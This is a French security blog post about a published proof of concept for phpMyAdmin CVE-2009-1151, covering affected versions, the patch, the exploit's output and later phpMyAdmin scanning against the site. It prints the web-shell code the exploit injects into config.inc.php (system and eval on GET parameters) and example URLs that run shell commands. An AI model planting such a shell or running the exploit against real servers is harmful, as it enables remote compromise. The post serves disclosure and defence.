POC PHPMyAdminRCE.sh CVE-2009-1151

Adrian Pastor membre de Gnucitizen a rendu public un POC (Proof Of Concept) pour la vulnérabilité CVE-2009-1151 de phpMyAdmin.

Cette vulnérabilité, identifiée sous l’ID PMASA-2009-3 chez le fournisseur phpMyAdmin, a été dévoilée le 24 Mars de cette année. Un internaute malveillant pourrait, de façon distante, par le biais de cette vulnérabilité compromettre un système. De l’injection de code dans le script “scripts/setup.php” peut permettre la modification du fichier “config.inc.php”, afin d’y ajouter du code PHP aléatoire.

Cette vulnérabilité affecte toutes les versions de phpMyAdmin antérieure à la version 2.11.9.5 et 3.1.3.1. La mise à jour vers la version 2.11.9.5 ou 3.1.3.1 corrige cette vulnérabilité.

Le POC de Gnucitizen, ne fonctionne que pour les versions 2.11.4, 2.11.7, 2.11.7.1, 2.11.9.3, 2.11.9.4, 3.0.0 et 3.0.1.1 de phpMyAdmin, et si l’installation a été effectuée en utilisant l’interface d’installation de phpMyAdmin “scripts/setup.php”. De plus, afin d’être exploitée, cette vulnérabilité requiert que l’administrateur n’est pas supprimé le répertoire “config/” présent dans phpMyAdmin. Ce répertoire “config/” doit être accessible en écriture par le démon HTTP.

De plus, si le nom de la session “phpMyAdmin”, configurée par défaut, a été changée, le POC ne fonctionnera pas aussi.

Quoi qu’il en reste, ce script bash n’est qu’un POC, et il est certain que des versions plus élaborées et robotisées verront le jour d’ici peu.

Il est aussi à noter que ce POC peut aussi s’appliquer à la vulnérabilité CVE-2009-1285.

Ci-dessous le fichier de configuration type de phpMyAdmin.

[[email protected] config]# cat config.inc.php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:52:48 GMT
*/

/* Servers configuration */
######i = 0;

/* Server localhost (cookie) [1] */
######i++;
######cfg['Servers'][$i]['host'] = 'localhost';
######cfg['Servers'][$i]['extension'] = 'mysql';
######cfg['Servers'][$i]['port'] = '3306';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'cookie';

/* End of servers configuration */

######cfg['blowfish_secret'] = '4a30e1f84afb18.56788245';
?>

Résultat lorsque la tentative d’exploitation est OK.

[[email protected] exploits]# ./phpmyadminrcesh.txt http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpmyadminrcesh.txt.14594.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?c=ls+-l+/
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?p=phpinfo();
please send any feedback/improvements for this script to unknown.pentestergmail.com

Fichier de configuration config.inc.php modifié après exploitation.

/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:54:21 GMT
*/

/* Servers configuration */
######i = 0;

/* Server  (config:root) [1] */
######i++;
######cfg['Servers'][$i]['host']='

';
if($_GET['c']){
echo '

';
system($_GET['c']);
echo '
';
}

if($_GET['p']){
echo '

';
eval($_GET['p']);
echo '
';
};

//'] = 'localhost';

######cfg['Servers'][$i]['extension'] = 'mysqli';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'config';
######cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Tentative d’attaque ciblée sur PHPMyAdmin, un 0day ?

En effectuant l’analyse journalière des tentatives d’attaques à l’encontre de l’infrastructure ZATAZ, Nous avons pu remarquer des tentatives qui sortent de la normale.

En l’espace de 7 minutes, de 2008-12-29 13:13:02 à 2008-12-29 13:20:26, près de 207 alertes ont été générées pour l’adresse IP 220.182.54.89, située en Chine.

Toutes ces alertes ont des points communs :

  • Attaques sur une adresse IP et non sur un domaine.
  • Attaques spécifique sur le port 80.
  • Attaques visants des répertoires ayant tous une relation avec phpMyAdmin.
  • Le User Agent est celui de l’outil “revolt” dédié à la découverte d’installation de phpMyAdmin.

Après avoir observé les dernières alertes et autres exploits phpMyAdmin, il ne parraît pas exister de vulnérabilité majeure (autre que XSS) pouvant prétexter de tels attaques. Serait-ce un pirate en cours de test d’un outil et qui prendrait ZATAZ comme cible spécifique ? Ou alors d’une tentative plus large de découverte d’installation de phpMyAdmin pouvant alors éventuellement supposé qu’un 0day phpMyAdmin serait existant.

Si vous avez des traces du même type n’hésitez pas à nous en faire part.